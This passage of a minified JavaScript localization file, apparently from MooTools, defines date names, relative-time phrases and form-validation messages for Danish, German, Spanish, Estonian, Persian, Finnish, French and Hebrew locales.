Locale.define("da-DK","FormValidator",{required:"Feltet skal udfyldes.",minLength:"Skriv mindst {minLength} tegn (du skrev {length} tegn).",maxLength:"Skriv maksimalt {maxLength} tegn (du skrev {length} tegn).",integer:"Skriv et tal i dette felt. Decimal tal (f.eks. 1.25) er ikke tilladt.",numeric:'Skriv kun tal i dette felt (i.e. "1" eller "1.1" eller "-1" eller "-1.1").',digits:"Skriv kun tal og tegnsætning i dette felt (eksempel, et telefon nummer med bindestreg eller punktum er tilladt).",alpha:"Skriv kun bogstaver (a-z) i dette felt. Mellemrum og andre tegn er ikke tilladt.",alphanum:"Skriv kun bogstaver (a-z) eller tal (0-9) i dette felt. Mellemrum og andre tegn er ikke tilladt.",dateSuchAs:"Skriv en gyldig dato som {date}",dateInFormatMDY:'Skriv dato i formatet DD-MM-YYYY (f.eks. "31-12-1999")',email:'Skriv en gyldig e-mail adresse. F.eks "fred@domain.com".',url:'Skriv en gyldig URL adresse. F.eks "http://www.example.com".',currencyDollar:"Skriv et gldigt beløb. F.eks Kr.100.00 .",oneRequired:"Et eller flere af felterne i denne formular skal udfyldes.",errorPrefix:"Fejl: ",warningPrefix:"Advarsel: ",noSpace:"Der må ikke benyttes mellemrum i dette felt.",reqChkByNode:"Foretag et valg.",requiredChk:"Dette felt skal udfyldes.",reqChkByName:"Vælg en {label}.",match:"Dette felt skal matche {matchName} feltet",startDate:"start dato",endDate:"slut dato",currendDate:"dags dato",afterDate:"Datoen skal være større end eller lig med {label}.",beforeDate:"Datoen skal være mindre end eller lig med {label}.",startMonth:"Vælg en start måned",sameMonth:"De valgte datoer skal være i samme måned - skift en af dem."});
Locale.define("de-DE","Date",{months:["Januar","Februar","März","April","Mai","Juni","Juli","August","September","Oktober","November","Dezember"],months_abbr:["Jan","Feb","Mär","Apr","Mai","Jun","Jul","Aug","Sep","Okt","Nov","Dez"],days:["Sonntag","Montag","Dienstag","Mittwoch","Donnerstag","Freitag","Samstag"],days_abbr:["So.","Mo.","Di.","Mi.","Do.","Fr.","Sa."],dateOrder:["date","month","year"],shortDate:"%d.%m.%Y",shortTime:"%H:%M",AM:"vormittags",PM:"nachmittags",firstDayOfWeek:1,ordinal:".",lessThanMinuteAgo:"vor weniger als einer Minute",minuteAgo:"vor einer Minute",minutesAgo:"vor {delta} Minuten",hourAgo:"vor einer Stunde",hoursAgo:"vor {delta} Stunden",dayAgo:"vor einem Tag",daysAgo:"vor {delta} Tagen",weekAgo:"vor einer Woche",weeksAgo:"vor {delta} Wochen",monthAgo:"vor einem Monat",monthsAgo:"vor {delta} Monaten",yearAgo:"vor einem Jahr",yearsAgo:"vor {delta} Jahren",lessThanMinuteUntil:"in weniger als einer Minute",minuteUntil:"in einer Minute",minutesUntil:"in {delta} Minuten",hourUntil:"in ca. einer Stunde",hoursUntil:"in ca. {delta} Stunden",dayUntil:"in einem Tag",daysUntil:"in {delta} Tagen",weekUntil:"in einer Woche",weeksUntil:"in {delta} Wochen",monthUntil:"in einem Monat",monthsUntil:"in {delta} Monaten",yearUntil:"in einem Jahr",yearsUntil:"in {delta} Jahren"});
Locale.define("de-CH").inherit("de-DE","Date");Locale.define("de-CH","FormValidator",{required:"Dieses Feld ist obligatorisch.",minLength:"Geben Sie bitte mindestens {minLength} Zeichen ein (Sie haben {length} Zeichen eingegeben).",maxLength:"Bitte geben Sie nicht mehr als {maxLength} Zeichen ein (Sie haben {length} Zeichen eingegeben).",integer:"Geben Sie bitte eine ganze Zahl ein. Dezimalzahlen (z.B. 1.25) sind nicht erlaubt.",numeric:"Geben Sie bitte nur Zahlenwerte in dieses Eingabefeld ein (z.B. &quot;1&quot;, &quot;1.1&quot;, &quot;-1&quot; oder &quot;-1.1&quot;).",digits:"Benutzen Sie bitte nur Zahlen und Satzzeichen in diesem Eingabefeld (erlaubt ist z.B. eine Telefonnummer mit Bindestrichen und Punkten).",alpha:"Benutzen Sie bitte nur Buchstaben (a-z) in diesem Feld. Leerzeichen und andere Zeichen sind nicht erlaubt.",alphanum:"Benutzen Sie bitte nur Buchstaben (a-z) und Zahlen (0-9) in diesem Eingabefeld. Leerzeichen und andere Zeichen sind nicht erlaubt.",dateSuchAs:"Geben Sie bitte ein g&uuml;ltiges Datum ein. Wie zum Beispiel {date}",dateInFormatMDY:"Geben Sie bitte ein g&uuml;ltiges Datum ein. Wie zum Beispiel TT.MM.JJJJ (z.B. &quot;31.12.1999&quot;)",email:"Geben Sie bitte eine g&uuml;ltige E-Mail Adresse ein. Wie zum Beispiel &quot;maria@bernasconi.ch&quot;.",url:"Geben Sie bitte eine g&uuml;ltige URL ein. Wie zum Beispiel http://www.example.com.",currencyDollar:"Geben Sie bitte einen g&uuml;ltigen Betrag in Schweizer Franken ein. Wie zum Beispiel 100.00 CHF .",oneRequired:"Machen Sie f&uuml;r mindestens eines der Eingabefelder einen Eintrag.",errorPrefix:"Fehler: ",warningPrefix:"Warnung: ",noSpace:"In diesem Eingabefeld darf kein Leerzeichen sein.",reqChkByNode:"Es wurden keine Elemente gew&auml;hlt.",requiredChk:"Dieses Feld ist obligatorisch.",reqChkByName:"Bitte w&auml;hlen Sie ein {label}.",match:"Dieses Eingabefeld muss mit dem Feld {matchName} &uuml;bereinstimmen.",startDate:"Das Anfangsdatum",endDate:"Das Enddatum",currendDate:"Das aktuelle Datum",afterDate:"Das Datum sollte zur gleichen Zeit oder sp&auml;ter sein {label}.",beforeDate:"Das Datum sollte zur gleichen Zeit oder fr&uuml;her sein {label}.",startMonth:"W&auml;hlen Sie bitte einen Anfangsmonat",sameMonth:"Diese zwei Datumsangaben m&uuml;ssen im selben Monat sein - Sie m&uuml;ssen eine von beiden ver&auml;ndern.",creditcard:"Die eingegebene Kreditkartennummer ist ung&uuml;ltig. Bitte &uuml;berpr&uuml;fen Sie diese und versuchen Sie es erneut. {length} Zahlen eingegeben."});
Locale.define("de-DE","FormValidator",{required:"Dieses Eingabefeld muss ausgefüllt werden.",minLength:"Geben Sie bitte mindestens {minLength} Zeichen ein (Sie haben nur {length} Zeichen eingegeben).",maxLength:"Geben Sie bitte nicht mehr als {maxLength} Zeichen ein (Sie haben {length} Zeichen eingegeben).",integer:'Geben Sie in diesem Eingabefeld bitte eine ganze Zahl ein. Dezimalzahlen (z.B. "1.25") sind nicht erlaubt.',numeric:'Geben Sie in diesem Eingabefeld bitte nur Zahlenwerte (z.B. "1", "1.1", "-1" oder "-1.1") ein.',digits:"Geben Sie in diesem Eingabefeld bitte nur Zahlen und Satzzeichen ein (z.B. eine Telefonnummer mit Bindestrichen und Punkten ist erlaubt).",alpha:"Geben Sie in diesem Eingabefeld bitte nur Buchstaben (a-z) ein. Leerzeichen und andere Zeichen sind nicht erlaubt.",alphanum:"Geben Sie in diesem Eingabefeld bitte nur Buchstaben (a-z) und Zahlen (0-9) ein. Leerzeichen oder andere Zeichen sind nicht erlaubt.",dateSuchAs:'Geben Sie bitte ein gültiges Datum ein (z.B. "{date}").',dateInFormatMDY:'Geben Sie bitte ein gültiges Datum im Format TT.MM.JJJJ ein (z.B. "31.12.1999").',email:'Geben Sie bitte eine gültige E-Mail-Adresse ein (z.B. "max@mustermann.de").',url:'Geben Sie bitte eine gültige URL ein (z.B. "http://www.example.com").',currencyDollar:"Geben Sie bitte einen gültigen Betrag in EURO ein (z.B. 100.00€).",oneRequired:"Bitte füllen Sie mindestens ein Eingabefeld aus.",errorPrefix:"Fehler: ",warningPrefix:"Warnung: ",noSpace:"Es darf kein Leerzeichen in diesem Eingabefeld sein.",reqChkByNode:"Es wurden keine Elemente gewählt.",requiredChk:"Dieses Feld muss ausgefüllt werden.",reqChkByName:"Bitte wählen Sie ein {label}.",match:"Dieses Eingabefeld muss mit dem {matchName} Eingabefeld übereinstimmen.",startDate:"Das Anfangsdatum",endDate:"Das Enddatum",currendDate:"Das aktuelle Datum",afterDate:"Das Datum sollte zur gleichen Zeit oder später sein als {label}.",beforeDate:"Das Datum sollte zur gleichen Zeit oder früher sein als {label}.",startMonth:"Wählen Sie bitte einen Anfangsmonat",sameMonth:"Diese zwei Datumsangaben müssen im selben Monat sein - Sie müssen eines von beiden verändern.",creditcard:"Die eingegebene Kreditkartennummer ist ungültig. Bitte überprüfen Sie diese und versuchen Sie es erneut. {length} Zahlen eingegeben."});
Locale.define("EU","Number",{decimal:",",group:".",currency:{prefix:"€ "}});Locale.define("de-DE").inherit("EU","Number");Locale.define("en-GB","Date",{dateOrder:["date","month","year"],shortDate:"%d/%m/%Y",shortTime:"%H:%M"}).inherit("en-US","Date");
Locale.define("es-ES","Date",{months:["Enero","Febrero","Marzo","Abril","Mayo","Junio","Julio","Agosto","Septiembre","Octubre","Noviembre","Diciembre"],months_abbr:["ene","feb","mar","abr","may","jun","jul","ago","sep","oct","nov","dic"],days:["Domingo","Lunes","Martes","Miércoles","Jueves","Viernes","Sábado"],days_abbr:["dom","lun","mar","mié","juv","vie","sáb"],dateOrder:["date","month","year"],shortDate:"%d/%m/%Y",shortTime:"%H:%M",AM:"AM",PM:"PM",firstDayOfWeek:1,ordinal:"",lessThanMinuteAgo:"hace menos de un minuto",minuteAgo:"hace un minuto",minutesAgo:"hace {delta} minutos",hourAgo:"hace una hora",hoursAgo:"hace unas {delta} horas",dayAgo:"hace un día",daysAgo:"hace {delta} días",weekAgo:"hace una semana",weeksAgo:"hace unas {delta} semanas",monthAgo:"hace un mes",monthsAgo:"hace {delta} meses",yearAgo:"hace un año",yearsAgo:"hace {delta} años",lessThanMinuteUntil:"menos de un minuto desde ahora",minuteUntil:"un minuto desde ahora",minutesUntil:"{delta} minutos desde ahora",hourUntil:"una hora desde ahora",hoursUntil:"unas {delta} horas desde ahora",dayUntil:"un día desde ahora",daysUntil:"{delta} días desde ahora",weekUntil:"una semana desde ahora",weeksUntil:"unas {delta} semanas desde ahora",monthUntil:"un mes desde ahora",monthsUntil:"{delta} meses desde ahora",yearUntil:"un año desde ahora",yearsUntil:"{delta} años desde ahora"});
Locale.define("es-AR").inherit("es-ES","Date");Locale.define("es-AR","FormValidator",{required:"Este campo es obligatorio.",minLength:"Por favor ingrese al menos {minLength} caracteres (ha ingresado {length} caracteres).",maxLength:"Por favor no ingrese más de {maxLength} caracteres (ha ingresado {length} caracteres).",integer:"Por favor ingrese un número entero en este campo. Números con decimales (p.e. 1,25) no se permiten.",numeric:'Por favor ingrese solo valores numéricos en este campo (p.e. "1" o "1,1" o "-1" o "-1,1").',digits:"Por favor use sólo números y puntuación en este campo (por ejemplo, un número de teléfono con guiones y/o puntos no está permitido).",alpha:"Por favor use sólo letras (a-z) en este campo. No se permiten espacios ni otros caracteres.",alphanum:"Por favor, usa sólo letras (a-z) o números (0-9) en este campo. No se permiten espacios u otros caracteres.",dateSuchAs:"Por favor ingrese una fecha válida como {date}",dateInFormatMDY:'Por favor ingrese una fecha válida, utulizando el formato DD/MM/YYYY (p.e. "31/12/1999")',email:'Por favor, ingrese una dirección de e-mail válida. Por ejemplo, "fred@dominio.com".',url:"Por favor ingrese una URL válida como http://www.example.com.",currencyDollar:"Por favor ingrese una cantidad válida de pesos. Por ejemplo $100,00 .",oneRequired:"Por favor ingrese algo para por lo menos una de estas entradas.",errorPrefix:"Error: ",warningPrefix:"Advertencia: ",noSpace:"No se permiten espacios en este campo.",reqChkByNode:"No hay elementos seleccionados.",requiredChk:"Este campo es obligatorio.",reqChkByName:"Por favor selecciona una {label}.",match:"Este campo necesita coincidir con el campo {matchName}",startDate:"la fecha de inicio",endDate:"la fecha de fin",currendDate:"la fecha actual",afterDate:"La fecha debe ser igual o posterior a {label}.",beforeDate:"La fecha debe ser igual o anterior a {label}.",startMonth:"Por favor selecciona un mes de origen",sameMonth:"Estas dos fechas deben estar en el mismo mes - debes cambiar una u otra."});
Locale.define("es-ES","FormValidator",{required:"Este campo es obligatorio.",minLength:"Por favor introduce al menos {minLength} caracteres (has introducido {length} caracteres).",maxLength:"Por favor introduce no m&aacute;s de {maxLength} caracteres (has introducido {length} caracteres).",integer:"Por favor introduce un n&uacute;mero entero en este campo. N&uacute;meros con decimales (p.e. 1,25) no se permiten.",numeric:'Por favor introduce solo valores num&eacute;ricos en este campo (p.e. "1" o "1,1" o "-1" o "-1,1").',digits:"Por favor usa solo n&uacute;meros y puntuaci&oacute;n en este campo (por ejemplo, un n&uacute;mero de tel&eacute;fono con guiones y puntos no esta permitido).",alpha:"Por favor usa letras solo (a-z) en este campo. No se admiten espacios ni otros caracteres.",alphanum:"Por favor, usa solo letras (a-z) o n&uacute;meros (0-9) en este campo. No se admiten espacios ni otros caracteres.",dateSuchAs:"Por favor introduce una fecha v&aacute;lida como {date}",dateInFormatMDY:'Por favor introduce una fecha v&aacute;lida como DD/MM/YYYY (p.e. "31/12/1999")',email:'Por favor, introduce una direcci&oacute;n de email v&aacute;lida. Por ejemplo, "fred@domain.com".',url:"Por favor introduce una URL v&aacute;lida como http://www.example.com.",currencyDollar:"Por favor introduce una cantidad v&aacute;lida de €. Por ejemplo €100,00 .",oneRequired:"Por favor introduce algo para por lo menos una de estas entradas.",errorPrefix:"Error: ",warningPrefix:"Aviso: ",noSpace:"No pueden haber espacios en esta entrada.",reqChkByNode:"No hay elementos seleccionados.",requiredChk:"Este campo es obligatorio.",reqChkByName:"Por favor selecciona una {label}.",match:"Este campo necesita coincidir con el campo {matchName}",startDate:"la fecha de inicio",endDate:"la fecha de fin",currendDate:"la fecha actual",afterDate:"La fecha debe ser igual o posterior a {label}.",beforeDate:"La fecha debe ser igual o anterior a {label}.",startMonth:"Por favor selecciona un mes de origen",sameMonth:"Estas dos fechas deben estar en el mismo mes - debes cambiar una u otra."});
Locale.define("et-EE","Date",{months:["jaanuar","veebruar","märts","aprill","mai","juuni","juuli","august","september","oktoober","november","detsember"],months_abbr:["jaan","veebr","märts","apr","mai","juuni","juuli","aug","sept","okt","nov","dets"],days:["pühapäev","esmaspäev","teisipäev","kolmapäev","neljapäev","reede","laupäev"],days_abbr:["pühap","esmasp","teisip","kolmap","neljap","reede","laup"],dateOrder:["month","date","year"],shortDate:"%m.%d.%Y",shortTime:"%H:%M",AM:"AM",PM:"PM",firstDayOfWeek:1,ordinal:"",lessThanMinuteAgo:"vähem kui minut aega tagasi",minuteAgo:"umbes minut aega tagasi",minutesAgo:"{delta} minutit tagasi",hourAgo:"umbes tund aega tagasi",hoursAgo:"umbes {delta} tundi tagasi",dayAgo:"1 päev tagasi",daysAgo:"{delta} päeva tagasi",weekAgo:"1 nädal tagasi",weeksAgo:"{delta} nädalat tagasi",monthAgo:"1 kuu tagasi",monthsAgo:"{delta} kuud tagasi",yearAgo:"1 aasta tagasi",yearsAgo:"{delta} aastat tagasi",lessThanMinuteUntil:"vähem kui minuti aja pärast",minuteUntil:"umbes minuti aja pärast",minutesUntil:"{delta} minuti pärast",hourUntil:"umbes tunni aja pärast",hoursUntil:"umbes {delta} tunni pärast",dayUntil:"1 päeva pärast",daysUntil:"{delta} päeva pärast",weekUntil:"1 nädala pärast",weeksUntil:"{delta} nädala pärast",monthUntil:"1 kuu pärast",monthsUntil:"{delta} kuu pärast",yearUntil:"1 aasta pärast",yearsUntil:"{delta} aasta pärast"});
Locale.define("et-EE","FormValidator",{required:"Väli peab olema täidetud.",minLength:"Palun sisestage vähemalt {minLength} tähte (te sisestasite {length} tähte).",maxLength:"Palun ärge sisestage rohkem kui {maxLength} tähte (te sisestasite {length} tähte).",integer:"Palun sisestage väljale täisarv. Kümnendarvud (näiteks 1.25) ei ole lubatud.",numeric:'Palun sisestage ainult numbreid väljale (näiteks "1", "1.1", "-1" või "-1.1").',digits:"Palun kasutage ainult numbreid ja kirjavahemärke (telefoninumbri sisestamisel on lubatud kasutada kriipse ja punkte).",alpha:"Palun kasutage ainult tähti (a-z). Tühikud ja teised sümbolid on keelatud.",alphanum:"Palun kasutage ainult tähti (a-z) või numbreid (0-9). Tühikud ja teised sümbolid on keelatud.",dateSuchAs:"Palun sisestage kehtiv kuupäev kujul {date}",dateInFormatMDY:'Palun sisestage kehtiv kuupäev kujul MM.DD.YYYY (näiteks: "12.31.1999").',email:'Palun sisestage kehtiv e-maili aadress (näiteks: "fred@domain.com").',url:"Palun sisestage kehtiv URL (näiteks: http://www.example.com).",currencyDollar:"Palun sisestage kehtiv $ summa (näiteks: $100.00).",oneRequired:"Palun sisestage midagi vähemalt ühele antud väljadest.",errorPrefix:"Viga: ",warningPrefix:"Hoiatus: ",noSpace:"Väli ei tohi sisaldada tühikuid.",reqChkByNode:"Ükski väljadest pole valitud.",requiredChk:"Välja täitmine on vajalik.",reqChkByName:"Palun valige üks {label}.",match:"Väli peab sobima {matchName} väljaga",startDate:"algkuupäev",endDate:"lõppkuupäev",currendDate:"praegune kuupäev",afterDate:"Kuupäev peab olema võrdne või pärast {label}.",beforeDate:"Kuupäev peab olema võrdne või enne {label}.",startMonth:"Palun valige algkuupäev.",sameMonth:"Antud kaks kuupäeva peavad olema samas kuus - peate muutma ühte kuupäeva."});
Locale.define("fa","Date",{months:["ژانویه","فوریه","مارس","آپریل","مه","ژوئن","ژوئیه","آگوست","سپتامبر","اکتبر","نوامبر","دسامبر"],months_abbr:["1","2","3","4","5","6","7","8","9","10","11","12"],days:["یکشنبه","دوشنبه","سه شنبه","چهارشنبه","پنجشنبه","جمعه","شنبه"],days_abbr:["ي","د","س","چ","پ","ج","ش"],dateOrder:["month","date","year"],shortDate:"%m/%d/%Y",shortTime:"%I:%M%p",AM:"ق.ظ",PM:"ب.ظ",ordinal:"ام",lessThanMinuteAgo:"کمتر از یک دقیقه پیش",minuteAgo:"حدود یک دقیقه پیش",minutesAgo:"{delta} دقیقه پیش",hourAgo:"حدود یک ساعت پیش",hoursAgo:"حدود {delta} ساعت پیش",dayAgo:"1 روز پیش",daysAgo:"{delta} روز پیش",weekAgo:"1 هفته پیش",weeksAgo:"{delta} هفته پیش",monthAgo:"1 ماه پیش",monthsAgo:"{delta} ماه پیش",yearAgo:"1 سال پیش",yearsAgo:"{delta} سال پیش",lessThanMinuteUntil:"کمتر از یک دقیقه از حالا",minuteUntil:"حدود یک دقیقه از حالا",minutesUntil:"{delta} دقیقه از حالا",hourUntil:"حدود یک ساعت از حالا",hoursUntil:"حدود {delta} ساعت از حالا",dayUntil:"1 روز از حالا",daysUntil:"{delta} روز از حالا",weekUntil:"1 هفته از حالا",weeksUntil:"{delta} هفته از حالا",monthUntil:"1 ماه از حالا",monthsUntil:"{delta} ماه از حالا",yearUntil:"1 سال از حالا",yearsUntil:"{delta} سال از حالا"});
Locale.define("fa","FormValidator",{required:"این فیلد الزامی است.",minLength:"شما باید حداقل {minLength} حرف وارد کنید ({length} حرف وارد کرده اید).",maxLength:"لطفا حداکثر {maxLength} حرف وارد کنید (شما {length} حرف وارد کرده اید).",integer:"لطفا از عدد صحیح استفاده کنید. اعداد اعشاری (مانند 1.25) مجاز نیستند.",numeric:'لطفا فقط داده عددی وارد کنید (مانند "1" یا "1.1" یا "1-" یا "1.1-").',digits:"لطفا فقط از اعداد و علامتها در این فیلد استفاده کنید (برای مثال شماره تلفن با خط تیره و نقطه قابل قبول است).",alpha:"لطفا فقط از حروف الفباء برای این بخش استفاده کنید. کاراکترهای دیگر و فاصله مجاز نیستند.",alphanum:"لطفا فقط از حروف الفباء و اعداد در این بخش استفاده کنید. کاراکترهای دیگر و فاصله مجاز نیستند.",dateSuchAs:"لطفا یک تاریخ معتبر مانند {date} وارد کنید.",dateInFormatMDY:'لطفا یک تاریخ معتبر به شکل MM/DD/YYYY وارد کنید (مانند "12/31/1999").',email:'لطفا یک آدرس ایمیل معتبر وارد کنید. برای مثال "fred@domain.com".',url:"لطفا یک URL معتبر مانند http://www.example.com وارد کنید.",currencyDollar:"لطفا یک محدوده معتبر برای این بخش وارد کنید مانند 100.00$ .",oneRequired:"لطفا حداقل یکی از فیلدها را پر کنید.",errorPrefix:"خطا: ",warningPrefix:"هشدار: ",noSpace:"استفاده از فاصله در این بخش مجاز نیست.",reqChkByNode:"موردی انتخاب نشده است.",requiredChk:"این فیلد الزامی است.",reqChkByName:"لطفا یک {label} را انتخاب کنید.",match:"این فیلد باید با فیلد {matchName} مطابقت داشته باشد.",startDate:"تاریخ شروع",endDate:"تاریخ پایان",currendDate:"تاریخ کنونی",afterDate:"تاریخ میبایست برابر یا بعد از {label} باشد",beforeDate:"تاریخ میبایست برابر یا قبل از {label} باشد",startMonth:"لطفا ماه شروع را انتخاب کنید",sameMonth:"این دو تاریخ باید در یک ماه باشند - شما باید یکی یا هر دو را تغییر دهید.",creditcard:"شماره کارت اعتباری که وارد کرده اید معتبر نیست. لطفا شماره را بررسی کنید و مجددا تلاش کنید. {length} رقم وارد شده است."});
Locale.define("fi-FI","Date",{months:["tammikuu","helmikuu","maaliskuu","huhtikuu","toukokuu","kesäkuu","heinäkuu","elokuu","syyskuu","lokakuu","marraskuu","joulukuu"],months_abbr:["tammik.","helmik.","maalisk.","huhtik.","toukok.","kesäk.","heinäk.","elok.","syysk.","lokak.","marrask.","jouluk."],days:["sunnuntai","maanantai","tiistai","keskiviikko","torstai","perjantai","lauantai"],days_abbr:["su","ma","ti","ke","to","pe","la"],dateOrder:["date","month","year"],shortDate:"%d.%m.%Y",shortTime:"%H:%M",AM:"AM",PM:"PM",firstDayOfWeek:1,ordinal:".",lessThanMinuteAgo:"vajaa minuutti sitten",minuteAgo:"noin minuutti sitten",minutesAgo:"{delta} minuuttia sitten",hourAgo:"noin tunti sitten",hoursAgo:"noin {delta} tuntia sitten",dayAgo:"päivä sitten",daysAgo:"{delta} päivää sitten",weekAgo:"viikko sitten",weeksAgo:"{delta} viikkoa sitten",monthAgo:"kuukausi sitten",monthsAgo:"{delta} kuukautta sitten",yearAgo:"vuosi sitten",yearsAgo:"{delta} vuotta sitten",lessThanMinuteUntil:"vajaan minuutin kuluttua",minuteUntil:"noin minuutin kuluttua",minutesUntil:"{delta} minuutin kuluttua",hourUntil:"noin tunnin kuluttua",hoursUntil:"noin {delta} tunnin kuluttua",dayUntil:"päivän kuluttua",daysUntil:"{delta} päivän kuluttua",weekUntil:"viikon kuluttua",weeksUntil:"{delta} viikon kuluttua",monthUntil:"kuukauden kuluttua",monthsUntil:"{delta} kuukauden kuluttua",yearUntil:"vuoden kuluttua",yearsUntil:"{delta} vuoden kuluttua"});
Locale.define("fi-FI","FormValidator",{required:"Tämä kenttä on pakollinen.",minLength:"Ole hyvä ja anna vähintään {minLength} merkkiä (annoit {length} merkkiä).",maxLength:"Älä anna enempää kuin {maxLength} merkkiä (annoit {length} merkkiä).",integer:"Ole hyvä ja anna kokonaisluku. Luvut, joissa on desimaaleja (esim. 1.25) eivät ole sallittuja.",numeric:'Anna tähän kenttään lukuarvo (kuten "1" tai "1.1" tai "-1" tai "-1.1").',digits:"Käytä pelkästään numeroita ja välimerkkejä tässä kentässä (syötteet, kuten esim. puhelinnumero, jossa on väliviivoja, pilkkuja tai pisteitä, kelpaa).",alpha:"Anna tähän kenttään vain kirjaimia (a-z). Välilyönnit tai muut merkit eivät ole sallittuja.",alphanum:"Anna tähän kenttään vain kirjaimia (a-z) tai numeroita (0-9). Välilyönnit tai muut merkit eivät ole sallittuja.",dateSuchAs:"Ole hyvä ja anna kelvollinen päivmäärä, kuten esimerkiksi {date}",dateInFormatMDY:'Ole hyvä ja anna kelvollinen päivämäärä muodossa pp/kk/vvvv (kuten "12/31/1999")',email:'Ole hyvä ja anna kelvollinen sähköpostiosoite (kuten esimerkiksi "matti@meikalainen.com").',url:"Ole hyvä ja anna kelvollinen URL, kuten esimerkiksi http://www.example.com.",currencyDollar:"Ole hyvä ja anna kelvollinen eurosumma (kuten esimerkiksi 100,00 EUR) .",oneRequired:"Ole hyvä ja syötä jotakin ainakin johonkin näistä kentistä.",errorPrefix:"Virhe: ",warningPrefix:"Varoitus: ",noSpace:"Tässä syötteessä ei voi olla välilyöntejä",reqChkByNode:"Ei valintoja.",requiredChk:"Tämä kenttä on pakollinen.",reqChkByName:"Ole hyvä ja valitse {label}.",match:"Tämän kentän tulee vastata kenttää {matchName}",startDate:"alkupäivämäärä",endDate:"loppupäivämäärä",currendDate:"nykyinen päivämäärä",afterDate:"Päivämäärän tulisi olla sama tai myöhäisempi ajankohta kuin {label}.",beforeDate:"Päivämäärän tulisi olla sama tai aikaisempi ajankohta kuin {label}.",startMonth:"Ole hyvä ja valitse aloituskuukausi",sameMonth:"Näiden kahden päivämäärän tulee olla saman kuun sisällä -- sinun pitää muuttaa jompaa kumpaa.",creditcard:"Annettu luottokortin numero ei kelpaa. Ole hyvä ja tarkista numero sekä yritä uudelleen. {length} numeroa syötetty."});
Locale.define("fi-FI","Number",{group:" "}).inherit("EU","Number");Locale.define("fr-FR","Date",{months:["Janvier","Février","Mars","Avril","Mai","Juin","Juillet","Août","Septembre","Octobre","Novembre","Décembre"],months_abbr:["janv.","févr.","mars","avr.","mai","juin","juil.","août","sept.","oct.","nov.","déc."],days:["Dimanche","Lundi","Mardi","Mercredi","Jeudi","Vendredi","Samedi"],days_abbr:["dim.","lun.","mar.","mer.","jeu.","ven.","sam."],dateOrder:["date","month","year"],shortDate:"%d/%m/%Y",shortTime:"%H:%M",AM:"AM",PM:"PM",firstDayOfWeek:1,ordinal:function(a){return(a>1)?"":"er";
},lessThanMinuteAgo:"il y a moins d'une minute",minuteAgo:"il y a une minute",minutesAgo:"il y a {delta} minutes",hourAgo:"il y a une heure",hoursAgo:"il y a {delta} heures",dayAgo:"il y a un jour",daysAgo:"il y a {delta} jours",weekAgo:"il y a une semaine",weeksAgo:"il y a {delta} semaines",monthAgo:"il y a 1 mois",monthsAgo:"il y a {delta} mois",yearthAgo:"il y a 1 an",yearsAgo:"il y a {delta} ans",lessThanMinuteUntil:"dans moins d'une minute",minuteUntil:"dans une minute",minutesUntil:"dans {delta} minutes",hourUntil:"dans une heure",hoursUntil:"dans {delta} heures",dayUntil:"dans un jour",daysUntil:"dans {delta} jours",weekUntil:"dans 1 semaine",weeksUntil:"dans {delta} semaines",monthUntil:"dans 1 mois",monthsUntil:"dans {delta} mois",yearUntil:"dans 1 an",yearsUntil:"dans {delta} ans"});
Locale.define("fr-FR","FormValidator",{required:"Ce champ est obligatoire.",length:"Veuillez saisir {length} caract&egrave;re(s) (vous avez saisi {elLength} caract&egrave;re(s)",minLength:"Veuillez saisir un minimum de {minLength} caract&egrave;re(s) (vous avez saisi {length} caract&egrave;re(s)).",maxLength:"Veuillez saisir un maximum de {maxLength} caract&egrave;re(s) (vous avez saisi {length} caract&egrave;re(s)).",integer:'Veuillez saisir un nombre entier dans ce champ. Les nombres d&eacute;cimaux (ex : "1,25") ne sont pas autoris&eacute;s.',numeric:'Veuillez saisir uniquement des chiffres dans ce champ (ex : "1" ou "1,1" ou "-1" ou "-1,1").',digits:"Veuillez saisir uniquement des chiffres et des signes de ponctuation dans ce champ (ex : un num&eacute;ro de t&eacute;l&eacute;phone avec des traits d'union est autoris&eacute;).",alpha:"Veuillez saisir uniquement des lettres (a-z) dans ce champ. Les espaces ou autres caract&egrave;res ne sont pas autoris&eacute;s.",alphanum:"Veuillez saisir uniquement des lettres (a-z) ou des chiffres (0-9) dans ce champ. Les espaces ou autres caract&egrave;res ne sont pas autoris&eacute;s.",dateSuchAs:"Veuillez saisir une date correcte comme {date}",dateInFormatMDY:'Veuillez saisir une date correcte, au format JJ/MM/AAAA (ex : "31/11/1999").',email:'Veuillez saisir une adresse de courrier &eacute;lectronique. Par example "fred@domaine.com".',url:"Veuillez saisir une URL, comme http://www.example.com.",currencyDollar:"Veuillez saisir une quantit&eacute; correcte. Par example 100,00&euro;.",oneRequired:"Veuillez s&eacute;lectionner au moins une de ces options.",errorPrefix:"Erreur : ",warningPrefix:"Attention : ",noSpace:"Ce champ n'accepte pas les espaces.",reqChkByNode:"Aucun &eacute;l&eacute;ment n'est s&eacute;lectionn&eacute;.",requiredChk:"Ce champ est obligatoire.",reqChkByName:"Veuillez s&eacute;lectionner un(e) {label}.",match:"Ce champ doit correspondre avec le champ {matchName}.",startDate:"date de d&eacute;but",endDate:"date de fin",currendDate:"date actuelle",afterDate:"La date doit &ecirc;tre identique ou post&eacute;rieure &agrave; {label}.",beforeDate:"La date doit &ecirc;tre identique ou ant&eacute;rieure &agrave; {label}.",startMonth:"Veuillez s&eacute;lectionner un mois de d&eacute;but.",sameMonth:"Ces deux dates doivent &ecirc;tre dans le m&ecirc;me mois - vous devez en modifier une.",creditcard:"Le num&eacute;ro de carte de cr&eacute;dit est invalide. Merci de v&eacute;rifier le num&eacute;ro et de r&eacute;essayer. Vous avez entr&eacute; {length} chiffre(s)."});
Locale.define("fr-FR","Number",{group:" "}).inherit("EU","Number");Locale.define("he-IL","Date",{months:["ינואר","פברואר","מרץ","אפריל","מאי","יוני","יולי","אוגוסט","ספטמבר","אוקטובר","נובמבר","דצמבר"],months_abbr:["ינואר","פברואר","מרץ","אפריל","מאי","יוני","יולי","אוגוסט","ספטמבר","אוקטובר","נובמבר","דצמבר"],days:["ראשון","שני","שלישי","רביעי","חמישי","שישי","שבת"],days_abbr:["ראשון","שני","שלישי","רביעי","חמישי","שישי","שבת"],dateOrder:["date","month","year"],shortDate:"%d/%m/%Y",shortTime:"%H:%M",AM:"AM",PM:"PM",firstDayOfWeek:0,ordinal:"",lessThanMinuteAgo:"לפני פחות מדקה",minuteAgo:"לפני כדקה",minutesAgo:"לפני {delta} דקות",hourAgo:"לפני כשעה",hoursAgo:"לפני {delta} שעות",dayAgo:"לפני יום",daysAgo:"לפני {delta} ימים",weekAgo:"לפני שבוע",weeksAgo:"לפני {delta} שבועות",monthAgo:"לפני חודש",monthsAgo:"לפני {delta} חודשים",yearAgo:"לפני שנה",yearsAgo:"לפני {delta} 